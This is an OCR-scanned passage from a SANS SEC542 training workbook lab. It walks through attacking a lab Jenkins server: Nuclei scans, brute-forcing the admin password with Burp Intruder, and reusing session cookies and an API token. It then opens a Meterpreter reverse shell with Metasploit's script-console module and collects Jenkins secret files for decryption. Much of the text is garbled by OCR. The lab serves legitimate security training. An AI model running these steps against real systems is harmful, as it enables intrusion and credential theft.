2022-07-06 18:28:45.017+0000 [id=1] INFO 0.e.j.s.s.DefaultSessionIdManager#doStart: DefaultSessionIdManager wor
JkerName=node®

2022-07-06 18:28:45.018+0000 [id=1] INFO o0.e.j.s.s.DefaultSessionIdManager#doStart: No SessionScavenger set, us
ing defaults

2022-07-06 18:28:45.021+0000 [id=1] INFO o0.e.j.server.session.HouseKeeper#startScavenging: node@ Scavenging eve
ry 660000ms

2022-07-06 18:28:45.782+0000 [id=1] INFO hudson.WebAppMain#contextInitialized: Jenkins home directory: /var/jen

|kins_home found at: EnvVars.masterEnvVars.get("JENKINS HOME")
2022-07-06 18:28:46.214+0000 [id=1] INFO o.e.j.s.handler.ContextHandler#doStart: Started w.@7cf7aee{Jenkins v2.
346.1,/,Tile:///var/jenkins_home/war/,AVAILABLE}{/var/jenkins_home/war}

WARNING: An illegal
WARNING: Illegal reflective access by org.codehaus.groovy.vmplugin.v7.Java7$l (file:/var/jenkins_home/war/WEB-INF/1ib/
faroovy-all-2.4.21.jar) to constructor java.lang.invoke.MethodHandles$Lookup(java.lang.Class,int)

WARNING: Please consider reporting this to the maintainers of org.codehaus.groovy.vmplugin.v7.Java7s$l

WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations

WARNING: ALl illegal access operations will be denied in a future release

reflective access operation has occurred

2022-07-66 18:28:46.304+0000 [id=1] INFO o.e.j.server.AbstractConnector#doStart: Started ServerConnector@ic4621
20{HTTP/1.1, (http/1.1)}{0.0.0.0:8080}

2022-07-06 18:28:46.305+0000 [id=1] INFO org.eclipse.jetty.server.Server#doStart: Started @2629ms

2022-07-06 18:28:46.310+0000 [id=23] INFO winstone.lLogger#logInternal: Winstone Servlet Engine running: controlP
ort=disabled

2022-07-06 18:28:46.756+0000 [id=29] INFO jenkins.InitReactorRunnersl#onAttained: Started initialization
2022-07-06 18:28:47.067+0000 [id=30] INFO jenkins.InitReactorRunner$l#onAttained: Listed all plugins

2022-07-06 18:28:50.724+0000 [id=31] INFO jenkins.InitReactorRunnersl#onAttained: Prepared all plugins
2022-07-06 18:28:50.747+0000 [id=29] INFO jenkins.InitReactorRunner$l#onAttained: Started all plugins

2022-07-06 18:28:50.843+0000 [id=28] INFO jenkins.InitReactorRunnersl#onAttained: Augmented all extensions

2022-07-06 18:28:51.665+0000 [id=31] INFO h.p.b.g.GlobalTimeOutConfiguration#load: global timeout not set
2022-07-06 18:28:52.047+0000 [id=31] INFO jenkins.InitReactorRunner$l#onAttained: System config loaded
2022-07-06 18:28:52.050+0000 [id=31] INFO jenkins.InitReactorRunnersl#onAttained: System config adapted
2022-07-06 18:28:52.065+0000 [id=30] INFO jenkins.InitReactorRunnersl#onAttained: Loaded all jobs

2022-07-06 18:28:52.067+0000 [id=31] INFO jenkins.InitReactorRunner$l#onAttained: Configuration for all jobs upd
ated

2022-07-06 18:28:52.128+0000 [id=44] INFO hudson.model.AsyncPeriodicWork#lambdasdoRun$l: Started Download metada
ta

2022-07-06 18:28:52.160+0000 [id=44] INFO hudson.model.AsyncPeriodicWork#lambdasdoRun$l: Finished Download metad
ata. 8 ms

2022-07-06 18:28:52.284+0000 [id=31] INFO jenkins.InitReactorRunnersl#onAttained: Completed initialization
2022-07-06 18:28:52.455+0000 [id=22] INFO hudson.lifecycle.Lifecycle#onReady: Jenkins is fully up and running

6. The target web application is available at http:/sec542.0rg:9000.

Challenges

+ Use Nuclei to scan the server at http://sec542.0rg:9000, it will identify the Jenkins instance (which is quite straightforward).

* Brute force admin s password.
+ Use Nuclei to scan again with provided session cookies.
« Exploit the Jenkins instance’s Script Console function with Metasploit (hint, you will need the API_TOKEN ).

+ Analyze how Jenkins stores secrets and retrieve Marvin's password.
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Solution

1. The web page is located at http:/sec542.0rg:9000, and contains the Jenkins login page.

= Sign in [Jenkins] — Mozilla Firefox = ®
Q Sign in{Jenkins] bad
« - C @ O B secssz.orgo0 w ® @ & =

& This connection is not secure, Logins entered
here could be compromised. Learn More

View Saved Logins

Keep me signed in

2. Let's run a nuclei scan to see if it finds anything. Execute the following command:

nuclei -u http://sec542.0rg:9000

= Terminal - student@sec542: -
File  Edit View Terminal Tabs Help
[~]1% nuclei -u http://sec542.0rg:96000

VAL A e T TR e
projectdiscovery.io
[WRN] Use with caution. You are responsible for your actions.

[INF] Using Nuclei Engine 2.7.3 (latest)

[INF] Using Nuclei Templates 9.0.9 (latest)

[INF] Templates added in last update: 47

[INF] Templates loaded for scan: 3541

[INF] Templates clustered: 611 (Reduced 568 HTTP Requests)
[INF] Using Interactsh Server uast live

[WRN] Developers assume no liability and are not responsible for any misuse or damage.

[2022-07-06 18:36:07] [ ty] [http]l [info] http://sec542.0rg:9000
[2022-07-06 18:36:07] [t [http] Ilﬂfo] http //sec542 . 0rg:9000
[2022-07-06 18:36:11] [ i l {http] [info] http://sec542.0rg:9000
[2022-07-06 18:36:11] [ht 5] [http] [info] http://sec542.0rg:%000
[2022-07-06 18:36:11] [ht 1 [http] [infol http://sec542.0rg:9000
[2022-07-06 18:36:11] [ht tials] [http] [info] http://sec542.0rg:9600
[2022-07-06 18:36:11] [ht 1 [http] [info] http://sec542.0rg:9000
[2022-07-06 18:36:11] [ht tyl [http] [info] http://sec542.0rg:9000
[2022-07-06 18:36:11] [ht 1 [http] [infol http://sec542.0rg:9000
[2022-07-06 18:36:11] [ht v] [htip] [info] http://sec542.o0rg:9%000
[2022-07-06 18:36:11] [ht ders] [http] [info] http://sec542.org:9000
[2022-07-06 18:36:11] [ht -age] Ihttp] [info] http://sec542.0rg:9000
[2022-07-06 18:36:11] [ht http] [info] http://sec542.0rg:90080
[2022-07-06 18:36:11] [ht http] [info] http://sec542.o0rg:9000
[2022-07-06 18:36:11] [ht http] [mfo] http://sec542.0rg:9000
[2022-07-06 18:36:11] [ht - i n] [http] [info] http://sec542.0rg:9000
[2022-07-06 18:36:11] [htt ener-pc ] [http] [info] http://sec542.0rg:9000
[2022-67-06 18:36:11] [ht =] [http] [info] http://sec542.0rg:9000
[2022-07-06 18:36:11] [ i ] {http] [1nf0] http: //55(:542 org BBBBILogln
[2022-07-06 18:36:20] [ t] [network] [info] sec542.org:22
[2022-07-06 18:36:31] [je ] [http] [infol http://sec542.0rg:9000/whoAmI/ [ 346 1]
[2022-87-06 18:36:31] [rot 1 [http] [info] http://sec542.o0rg:9000/robots.txt
[2022-07-06 18:36:32] [Ta tjenkins] [http]l [info] http://sec542.org:9000/favicon.ico
[2022-07-06 18:36:36] [se 1 [dns] [info] http://sec542.0rg:9000
~15 Il

380 © 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja

Technet24


https://technet24.ir
https://technet24.ir

3. Nuclei retrieved some information and identified Jenkins as version 2« 346 . 1 , which is quite recent. This version has no known unauthenticated user remotely exploitable

vulnerabilities, so we will need to brute force the admin’s password.

4. Try entering a dummy password for the admin userso we can seed the request in Burp and then find it in the History tab, and send it to Intruder.

= Burp Suite V202239 - Temporary Project - d to SANS Institute - 763821 21039562c438078c204 [1 user license] -+ %
Burp Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options Useroptions Learn
Intercept ~ HTTP history ~ WebSockets history ~ Options
Logging of out-of-scope Proxy traffic is disabled | Re-enable
Filter: Hiding CSS, image and general binary content ‘ @
# Host Method URL Params  Edited Status  Length MIME type Extension Title Comme}
10 http://sec542.0rg:9000 GET /loginError 401 2423 HTML Sign in [Jenkins]
o http://sec542.0rg:9000 POST /j_spring_security_check v 302 313
8 http://sec542.0rg:9000 GET /static/52699777/images/svgs/logo.... 200 30120 XML svg
6 http://sec542.0rg:9000 GET /login?from=%2F v 200 2357 HTML Sign in [Jenkins]
5 http://sec542.0rg:9000 GET / 403 944 HTML
4 https://workbook.sec542.org  GET /assets/javascripts/workers/search. 200 36648 script js
3 https://workbook.sec542.org  GET /search/search_index.json 304 146 script json
2 https://workbook.sec542.org  GET /sitemap.xml 200 5018 XML xml
1 https://workbook.sec542.org  GET / 200 25500 HTML SANS SEC542 Workbook
= =
Request Response = &
Pretty Raw  Hex W = | pretty Raw Hex Render n = | —
1 POST /j_spring_security_check HTTP/1.1 1 HTTP/1.1 302 Found -
2 Host: sec542.0rg:9000 2 Connection: close 2
3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:101.0) 3 Date: Wed, 06 Jul 2022 18:39:04 GMT %
Gecko/20100101 Firefox/101.0 4 X-Content-Type-Options: nosniff ]
4 Accept: 5 Set-Cookie: remember-me=; Path=/; Expires=Thu, 01-Jan-1970 00:00:00 -
text/html, application/xhtml+xml, application/xml; q=0.9, image/avif,ima GMT; Max-Age=0 g
ge/webp, */*;q=0.8 6 Expires: Thu, 01 Jan 1970 00:00:00 GMT
5 Accept-Language: en-US,en;qg=0.5 | 7 Location: htton://sec542.0rg:9000/loginError
6 Accept-Encoding: gzip, deflate ' Scan 45.v20220203)
7 Content-Type: application/x-www-form-urlencoded B
8 Content-Length: 56 Do passive scan
9 0rigin: http://sec542.0rg: 9000 Do active scan
10 Connection: close d
11 Referer: http://sec542.0rg:9000/1ogin?from=%2F Send to Intruder Curl+l
12 Cookie: JSESSIUNID.‘f02370b@=node02ccty3th5bc1kewk6u4u‘f4c10.nof Send to Repeater Ctrl+R
13 Upgrade-Insecure-Requests: 1
12 Send to Sequencer
15 j_username=admin&j_password=Security542&f rom=%2F&Submit= Send to Comparer
Send to Decoder
—  Show response in browser —
@ {:(_;'} & ||| |Search.. 01 Request in browser >pe 0 matches

Engagement tools
Copy URL

Copy as curl command
Copy to file

Save item

Convert selection

Cut Ctrl+X
Copy Ctri+C
Paste Ctri+V

Message editor documentation

Proxy history documentation

5. In Intruder click on Clear, highlight the J _passwo rd parameter’s contents only and click on Add. We will use Sniper as attack mode.
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N Burp Suite Professional v2022.3.9 - Temporary Project - licensed to SANS Institute - 763821_21039562c438078¢204 [1 user license] e
Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender  Project options  User options  Learn

1= 2=

Positions  Payloads  Resource Pool  Options

Attack type: Sniper v

@ Payload Positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

Add §
Target: | http://sec542.0rg:9000 Update Host header to match target

Clear §
1 POST /j_spring_security_check HTTP/1.1
2 Host: sec542.0rg:9000 Auto §
3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/avif, image/webp, */*;q=0.8 Refresh
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 56
9 0rigin: http://sec542.0rg: 9000
10 Connection: close
11 Referer: http://sec542.0rg:9000/1ogin?from=%2F
12 Cookie: JSESSIONID.f02370bO=node02ccty3qdt5Sbclkewk6udufsclo.noded
13 Upgrade-Insecure-Requests: 1
14

15 j_username=admin&j_password=§Security542§/&f fom=%2F&Submit=

@{é} & ||| | Search... 0 matches Clear
1 payload position Length: 640

@ Choose an attack type m

6. Go the Payloads tab. We will use the Simple script mode and will load the sample passwords from the SecLists’ 10-milli on—-passwo rd-list-

top-1000.txt fie locatedin /opt/seclists/Passwords/Common-Credentials by clicking on Load.

Burp Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender  Project options  Useroptions Learn
158 | 2

Positions  Payloads  Resource Pool  Options

@ Payload Sets m

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set,
and each payload type can be customized in different ways.

- x
Payload set: 1 v "
Look In: | = Common-Credentials SR |
Payload type: Simple list v 2 .
= 5 SINsjoanven # common-passwords-win.txt
. . 1 # 10-million-password-list-top-1000.txt  four-digit-pin-codes-sorted-
@ Payload Options [Simple list] ey TEESSTOTH Tt tor-+0886: # medical-devices.txt
This payload type lets you configure a simp| = @ 10-million-password-list-top-100000.txt # SplashData-2014.txt
# 10-million-password-list-top-1000000.txt # SplashData-2015-1.txt
# 10-million-password-list-top-500.txt # SplashData-2015-2.txt
Load ... # 100k-most-used-passwords-NCSC.txt i top-20-common-SSH-passwi
s # 10k-most-common.txt # top-passwords-shortlist.txt
# 1900-2020.txt # worst-passwords-2017-top1
Clear # 500-worst-passwords.txt
Deduplicate # best1050.txt
Add Enter a new item | 4 bestinnnd
— | i best15.txt
Add from list ...

File Name: 10-million-password-list-top-1000.txt

. Files of Type: | All il -
@ Payload Processing resariyne L

You can define rules to perform various pro Open Cancel

Add Enabled Rule
Edit
Remove >
up

Down

@ Payload Encoding
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7 Start the attack and wait until it finishes, then sort by Length ascending.

~ 3. Intruder attack of http://sec542.0rg:9000 - Temporary attack - Not saved to project file - + X

Attack Save Columns

Results  Positions  Payloads  Resource Pool  Options

Filter: Showing all items ‘@
Request Payload Status Error  Timeout Length Comment
980 spiderman 302 310
0 302 313
1 123456 302 313
2 password 302 313
3 12345678 302 313 I
4 qwerty 302 313
5 123456789 302 313
6 12345 302 313
7 1234 302 313
8 11 302 313
Finished
8 It looks like the admin password is sp'i derman ! Let's try to login with that.
- Dashboard [Jenkins] — Mazilla Firefox - + x|
£ pashboard lenkins) x | 4 |
< - C @ ‘ O 8 secsazorgo kg ‘ (O] @ & = |
@) 2 adminv ]logout
Dashboard
+ Newltem /# Add description
28 Ppeople Al e
Build History
s w Name | Last Success Last Failure Last Duration
@ Manage Jenkins
® O secriysaz 7hr3omin  #1 N/A 51ms >
28 My Views 5
B9 New View
Icon: s M L Icon legend 3\ Atom feed for all R\ Atom feed for failures A Atom feed for just latest builds
Build Queue ~
No builds in the queue.
Build Executor Status ™
1 Idle
2 1dle
REST API Jenkins 2.346.1
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. We gotin! Surf around a bit, specifically check Admin -> Credentials -> Jenkins Store -> Global Credentials (unrestricted) (http://sec542.0rg:9000/credentials/store/system/domain/

).

System » Global credentials (unrestricted) [Jenkins] — Mozilla Firefox

@ &

x|+

| ©
@

L system» Global credentials
« - C ‘ O B secsazorg9noo /.
* System Global credentials (unrestricted)

Dashboard Credentials
At Back b credential domains Global credentials (unrestricted)
+ Add Credentials
Credentials that should be available irrespective of domain specification to requirements matching.
D Name Kind Description
marvin/**¥¥* (Marvin's password) Username with password Marvin&#039;s password (/(9

E marvin_password

Icon:

Jenkins 2.346.1

REST API

1
Jenkins needs to use it. We'll get back to that later.
1. Letsrerun nucled now, with a session cookie. Go back to Burp’s Proxy tab, History and select the last request so we can copy the session cookie.
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. Burp Suite Professional v20223.9 - Temporary Project - licensed to SANS Institute - 763821_21039562c438078c204 [1 user license] Sl X
Burp Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Projectoptions Useroptions Learn
Intercept  HTTP history =~ WebSockets history ~ Options
Logging of out-of-scope Proxy traffic is dis Re-enable
Filter: Hiding CSS, image and general binary content ‘ @
# Host Method URL Params  Edited  Status Length MIME type Extension Title Comm

160 http://sec542.0rg:9000 GET /credentials/store/system/domain/_/ 200 12520 HTML System » Global creden...

159 http://sec542.0rg:9000 GET Jcredentials/store/system/domain/_ 302 213

158 http://sec542.0rg:9000 GET /static/52699777/plugin/credentials... 200 13934 XML svg

157 http://sec542.0rg:9000 GET /credentials/store/system/ 200 19741 HTML System [Jenkins]

156 http://sec542.0rg:9000 GET /credentials/store/system 302 204

155 http://sec542.0rg:9000 GET Juser/admin/credentials/ 200 143550 HTML User: admin » Credenti...

154 http://sec542.0rg:9000 GET Juser/admin/credentials 302 202

153 http://sec542.0rg:9000 POST Juser/admin/contextMenu 200 6541 JSON

152 http://sec542.0rg:3000 POST /user/admin/descriptorByName/org... v 200 361 XML

==
Request Response m
Pretty Raw  Hex \n = pretty Raw Hex Render n = | —
1 GET /credentials/store/system/domain/_/ HTTP/1.1 1 HTTP/1.1 200 OK -
2 Host: sec542.org: 9000 2 Connection: close -4
3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:101.0) 3 Date: Wed, 06 Jul 2022 18:47:53 GMT %
Gecko/20100101 Firefox/101.0 4 X-Content-Type-Options: nosniff o
4 Accept: 5 Content-Type: text/html;charset=utf-8 -
text/html, application/xhtml+xml, application/xml;q=0.9, image/avif,ima | 6 Expires: 0 g
ge/webp, */*;¢=0.8 7 Cache-Control: no-cache,no-store, must-revalidate
5 Accept-Language: en-US,en;q=0.5 8 X-Hudson-Theme: default
6 Accept-Encoding: gzip, deflate 9 Referrer-Policy: same-origin
7 Referer: http://sec542.0rg:9000/credentials/store/system/ 10 Cross-0Origin-Opener-Policy: same-origin
OTTEC IO T tOSe L1 X-Hudson: 1.395
9 Cookie: JSESSIONID.f02370b0=node0lkzhrekymvw3j4qzjht9qyei93476.noded® [12 X-Jenkins: 2.346.1
; screenResolution=3486x1909 13 X-Jenkins-Session: 52699777
L Roguaste=d 14 X-Frame-Options: sameorigin

11 15 X-Instance-Identity:

12 MIIBIjANBgkghkiGOWOBAQEFAAOCAQBAMIIBCgKCAQEAtHeKa7eldyEOOtKL /SHUSi5IU
md3KeCGwKmmZ IrsTHBYhnhI9aQIy rJwkNyXk8Z3FE3FeWvSgnUg6RgzEUV3mMEQONURSAFS
rhHtgUT4yZ0k YwmAwzatZhA132QV2G3YRPbAP3AZZ724j Dy TzSUdegnyPHB rwOBLNBM; t2
9II8Ge%0qKs2QYQC4Y5regac0sS7c4cq/VDXFr1ROrTTfoYwVZbolVIARGE/BpbEfUBHV2
hyKdPwZyt8Pd6/m308V1iQvRm81/dByzwTacQNIm2FOr3jHe51is5Pm3+y4YG/w8opsxuig
1D A 06 & LI 2 e B Ml b e PSS 2 m B B 1L+ A DA D

@ @ & ||| | search 0 matches @ @ & ||| | search 0 matches

12 Copy the whole request header line. From the example above we will take Cookie:

JSESSIONID.f02370b0=node@1lkzhré6kymvw3j4qzjht9qyei93476.node0d;screenResolution=3486x1909 .

Note

Your session cookie will be different, you have to copy and paste the proper session cookie.

13. Runthe nuc’led scanner with the session cookie.

nuclei -u http://sec542.0rg:9000 -H '<PASTE YOUR SESSION COOKIE HERE>'
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[WRN]
[WRN]

Terminal - student@sec542: -

File Edit View Terminal Tabs Help
[~1% nuclei -u http://sec542.0rg:9000 -H 'Cookie: JSESSIONID.f02370bO=node@lkzhrékymvw3j4qzjht9qyei93476.node0;

I=3486x1909"
R
FE N RN
A A A O N A S

VR i W O {7 0 S T (7.3 s

projectdiscovery.io

Use with caution. You are responsible for your actions.
Developers assume no liability and are not responsible for any misuse or damage.

[INF] Using Nuclei Engine 2.7.3 (1

[INF] Using Nuclei Templates 9.0.9 ( S

[INF] Templates added in last update: 47

[INF] Templates loaded for scan: 3541

[INF] Templates clustered: 611 (Reduced 560 HTTP Requests)

[2022-07-06 18:51:25] [ ] [http] [critical] http://sec542.0rg:9000/script/
[2022-07-06 18:51:25] [ ] [http] [info] http://sec542.0rg:9000/login

[INF] Using Interactsh Server: oast.fun

[2622-07-06 18:51:28]

screenResolution

5 18:51:2
18:51:
18:51:
[2022-07-06 18:51:2¢
[2022-07-06 18:5
18:
18:51:2

1 [http] [high]l http://sec542.0rg:9000
1 pe 1 [http]l [infol http://sec542.0rg:9000
] [http] [info] http://sec542.org:9000
L i ] [http] [info] http://sec542.0rg:9000
1 [http] [info] http://sec542.0rg:9000
r ) 1 [http] [info] http://sec542.0rg:9000
1 [http] [info] http://sec542.0rg:9000
1 [http] [info] http://sec542.0rg:9000
] [http] [info] http://sec542.0rg:9000
1 [http] [infa] http://sec542.0rg:9000
1 [http] [info] http://sec542.org:9000
1 [http] [info] http://sec542.0rg:9000
1 [http] [info] http://sec542.0rg:9000
: 1 [http] [info] http://sec542.0rg:9000
- s] [http]l [infeo] http://sec542.0rg:9000

1 [http]l [info] http://sec542.0rg:9000

1 [http] [info] http://sec542.org:9600
1 [dns] [info] http://sec542.o0rg:9000

14. Notice the j enkins-scri pt template - this indicates that the Script Console, which accepts Groovy programs is accessible to us. This is a very powerful interface that

basically allows us to even perform remote code execution on this Jenkins instance. It is available under Dashboard -> Manage Jenkins -> Script Console.

Q script Console [Jenkins]

*

Script Console [Jenkins] — Mozilla Firefox - + X

+

« > C®

1 Idle

2 Idle

‘O &« sec542.0rg:90¢

7| I =

Dashboard
+ Newltem Script Console
88 Ppeople )
Type in an arbitrary Groovy script and execute it on the server. Useful for trouble-shooting and diagnostics. Use the ‘printin’ command to
. see the output (if you use System. out, it will go to the server’s stdout, which is harder to see.) Example:
& Build History
@ Manage Jenkins println{Jenkins.instance.pluginManager.plugins)
88 My views s .
All the classes from all the plugins are visible. jenkins.*, jenkins.model.*, hudson.*, and hudson.model.* are pre-imported.
B New view 1
Build Queue ~
No builds in the queue.
Build Executor Status ~

15. Now, while we could write some code here manually, luckily Metasploit contains an exploit that will allow us to directly exploit this functionality. Let's use it.

16- Start the Metasploit console with the msTfconsole command and search for Je€NKiNS to see what we have available.
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- Terminal - student@secs42:~ -
Tabs  Help
P 2 -0+, -0+ .
.+oooyysyyssyyssyddh++os-"Ctc o srrrraneeaasaan
[+ttt bbb bbbt bsydhyoyso/: LT T L Ll -/ //  i+ohhyosyYosyy/+om++:i 000/ / /0
++++///////»~-~///////++++++++++++++++ooyy5oyysosso+++++++++++++++++f+///oo5sosy
- o= —////++f++++++++++f+////////«~//////++++f+++f+++///
By
9 &&
$$ MN&E
58 HE&HM!
$9 1&&
5 MMMMMMMMMM$$MMMMMNEEMMMMMMMML
//+syysso- : -mh*  :MMMMMMMMMMS $MMMMMNEEMMMMMMMMMM
/ / dmNMMMMMMMMMMMM s i -0++++0000+: /00000+: +0+++0000++/
7/ dMMMMMMMMMMMMMMMN < 2 2 @ :/+oosn- -/ydh//+s+/0s55550:--syN///05:

“o//...oyodh+
01 /AN
H 'X”H

“/++-.-yy/...0osydh/-+00:
B .7=mmk.//“’ SADE

Press ENTER to size up the situation

=[ metasploit v6.2.5-dev-

=[ 2227 exploits - 1172 auxiliary - 398 post
[ 864 payloads - 45 encoders - 11 nops

+ -- --=[ 9 evasion

Metasploit tip: After running db nmap, be sure to
jcheck out the result of hosts and services

# Name Disclosure Date Rank Check Description
[¢] exploit/windows/misc/ibm websphere java deserialize 2015-11-06 e No IBM WebSphere RCE Java Deserialization Vulnerability
1 exploit/multi/http/ metaprogramming 2019-01-08 excellent Yes ACL Bypass and Metaprogramming RCE
2 exploit/linux/http/| cli deserialization 2017-04-26 excellent Yes CLI Deserialization
3 exploit/linux/misc/ ldap deserialize 2016-11-16 excellent Yes CLI HTTP Java Deserialization Vulnerability
4 exploit/linux/misc/ java deserialize 2015-11-18 excellent Yes CLI RMI Java Deserialization Vulnerability
5 post/multi/gather/ normal No Credential Collector
6 auxiliary/gather/| cred recovery normal Yes Domain Credential Recovery
7 auxiliary/scanner/ / udp_broadcast enum normal No Server Broadcast Enumeration
8 exploit/multi/http/| xstream deserialize 2016-02-24 excellent Yes XStream Groovy classpath Deserialization Vulner
lability
9 auxiliary/scanner/http/| normal No -CI Enumeration
auxiliary/scanner [ q normal No -CI Login Utility
exploit/multi/http/| ipt_ 2013-01-18 good Yes -CI Script-Console Java Execution
ary/scanner/ht normal No -CI Unauthenticated Script-Console Scanner
2015-11-06 normal No OpenNMS Java Object Unserialization Remote Code Executi
[Interact with a module by name or index. For example info 13, use 13 or use exploit/linux/misc/opennms_java serialize

>1

17 The exploit we want to use is exploit/multi/http/jenkins_script_console . Letsuseit iterally) and remember that the TAB key is your friend
in Metasploit:

use exploit/multi/http/jenkins_script_console

18. After that use the show info command to see available options.

show 1info
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19.

20.

21.

7 Terminal - student®sec542: ~ -
File Edit View Terminal Tabs Help

msf6 > use exploit/multi/http/jenkins script console

[*] No payload configured, defaulting to windows/meterpreter/reverse tcp

msf6 exploit( Le) > show info

Name: Jenkins-CI Script-Console Java Execution
Module: exploit/multi/http/jenkins script console
Platform: Windows, Linux, Unix
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2013-01-18

Provided by:
Spencer McIntyre
jamcut
thesubtlety

Module side effects:
artifacts-on-disk
ioc-in-logs

Module stability:
crash-safe

Module reliability:
repeatable-session

Available targets:
Name
0  Windows
1 Linux
2 Unix CMD

Check supported:
Yes

Basic options:

Name Current Setting Required Description

API_TOKEN no The API token for the specified username

PASSWORD no The password for the specified username

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

RPORT 80 yes The target port (TCP)

SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to
listen on all addresses.

SRVPORT 8080 yes The local port to listen on.

SSL false no Negotiate SSL/TLS for outgoing connections

SSLCert no Path to a custom SSL certificate (default is randomly generated)

TARGETURI /jenkins/ yes The path to the Jenkins-CI application

URIPATH no The URI to use for this exploit (default is random)

USERNAME no The username to authenticate as

VHOST no HTTP server virtual host

Payload information:

Description:
This module uses the Jenkins-CI Groovy script console to execute 0S
commands using Java.

References:
https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console

msf6 exploit(n t ¥ =1

Ok, so there is a number of options we need to set. Additionally, notice at the top that the default payload is the Meterpreter shell for Windows, this is wrong (since we know that our

instance is running on Linux), so we will need to change that too.

Before we do this there is another thing we need to do in Jenkins. While the exploit acceptsa username , password andthe API_TOKEN , it will fail if we use the

username/password combination. In order to successfully send an authenticated request, we will need a username (whichis @dmin , that's easy), but also an API_TOKEN

- which we need to generate in Jenkins. Let’s do that.

In Jenkins, while logged in with admin, go to admin (in the upper right corner) -> Configure.

388 © 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja

Technet24


https://technet24.ir
https://technet24.ir

= User ‘admin’ Configuration [Jenkins] — Mozilla Firefox - +

03 Useradmin’ Configuration [} X &+

= c @ |O & sestzorggovuseraaminicontigurs ~ & ® =
| Dashboard admin

T People Full Name 7

Q Status admin

& suids Description 7

@3 Configure

89 My Views

P Credentials

API Token

Current token(s) 7
There are no registered tokens for this user.

Add new Token

rondameinla

22. There are no API Token’s. Click on Add new Token and create a new token with an arbitrary name and click on Generate. Notice the generated token, take this value and copy and
paste it somewhere — you will need it for Metasploit, but if you browse away from this page there will be no way to retrieve it again (you will need to generate a new token). Notice

that your token might be different as well.
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@ & =

@ 2 admin v Z]log out

¥ User ‘admin’ Caonfiguration [Jenkins] — Mozilla Firefox
3 User ‘admin’ Configuration [ X | +
&« I G N 1 |O B sec542.0rg:9000/user/admin/c ire ﬂ?‘
2 p
‘ # Jenkins a
=
Dashboard admin
N People FullName ?
Q, status admin
=
Bulids Description 2
@ Configure
82 My Views
ﬁ Credentials
API Token
Current token(s) ?
Security542 I1llbﬂ4dlf7b857aﬂ484zaffZl?ZleﬁdBEa I
i, Copy this token no
Add new Token

88

23. Let's configure Metasploit’s module now.

set RHOSTS sec542.org

set RPORT 9000

set SRVPORT 9191

set TARGETURI /

set USERNAME admin

set API_TOKEN <YOUR TOKEN HERE>

set TARGET 1

set PAYLOAD linux/x86/meterpreter/reverse_tcp

24 \e are now ready to pwn the poor Jenkins instance. Run the exploit with run .

run

lmsfﬁ exploit( ) = run

[*] Started reverse TCP handler on 192.168.44.132:4444

[*] Checking access to the script console

[*] Authenticating with token...

[*] Using CSRF token: '3decalf54f4688b3c74ebabcccbbld3e3c3a02e7557¢c95351705539ac3d2Tcdf’' (Jenkins-Crumb style)
[*] 10.42.42.42:9000 - Sending Linux stager...

[*] Sending stage (989032 bytes) to 172.17.0.2

Deleting /tmp/HUgy payload file

[*] Meterpreter session 1 opened (192.168.44.132:4444 -> 172.17.0.2:41974) at 2022-07-06 19:14:03 +0000
meterpreter > [

25. Nice! We have the Meterpreter shell active. The question now is how to retrieve Jenkins’ secrets.

26. If you search for this, you can see that the encryption (and decryption) processes are well known. There are a number of repositories that actually allow us to decrypt Jenkins secrets

- here is one example: https://github.com/hoto/jenkins-credentials-decryptor. We already have this binary in our VM as jenk1' ns-credentials-dec ryptor .

390 © 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja

Technet24


https://technet24.ir
https://technet24.ir

27, Apparently, in order to decrypt Jenkins secrets, we need the following three files:
* $JENKINS_HOME/credentials.xml
* $JENKINS_HOME/secrets/master.key
* $JENKINS_HOME/secrets/hudson.util.Secret

28. $JENKINS_HOME istypically /var/jenkins_home - lets browse this with Meterpreter

1s /var
cd /var/jenkins_home
1s

meterpreter > 1s /var
Listing: /var

Mode Size Type Last modified Name
040755/ rwxr-xr-x 4096 dir 2022-03-19 13:46:00 +0000 backups
040755/ rwxr-xr-x 4096 dir 2022-06-22 00:00:00 +000O cache
040755/ rwxr-xr-x 4096 dir 2022-07-06 18:29:42 +0000 jenkins_home
048755/ rwxr-xr-x 4096 dir 2022-07-02 15:43:37 +0000 1lib
042775/ rwxrwxr-x 4096 dir 2022-03-19 13:46:00 +0000 Tlocal
041777/ rwxrwxrwx 4096 dir 2022-06-22 00:00:00 +0000 lock
040755/ rwxr-xr-x 4096 dir 2022-07-02 15:43:40 +0000 log
042775/ rwxrwxr-x 4096 dir 2022-06-22 00:00:00 +0000 mail
040755/ rwxr-xr-x 4096 dir 2022-06-22 00:00:00 +0000 opt
040755/ rwxr-xr-x 4096 dir 2022-06-22 00:00:00 +0008 run
040755/ rwxr-xr-x 4096 dir 2022-06-22 00:00:00 +0000 spool
041777/ rwxrwxrwx 4096 dir 2022-03-19 13:46:00 +0000 tmp

umetergreter > cd /var/jenkins_home

meterpreter > 1s
Listing: /var/jenkins home

Mode Size Type Last modified Name

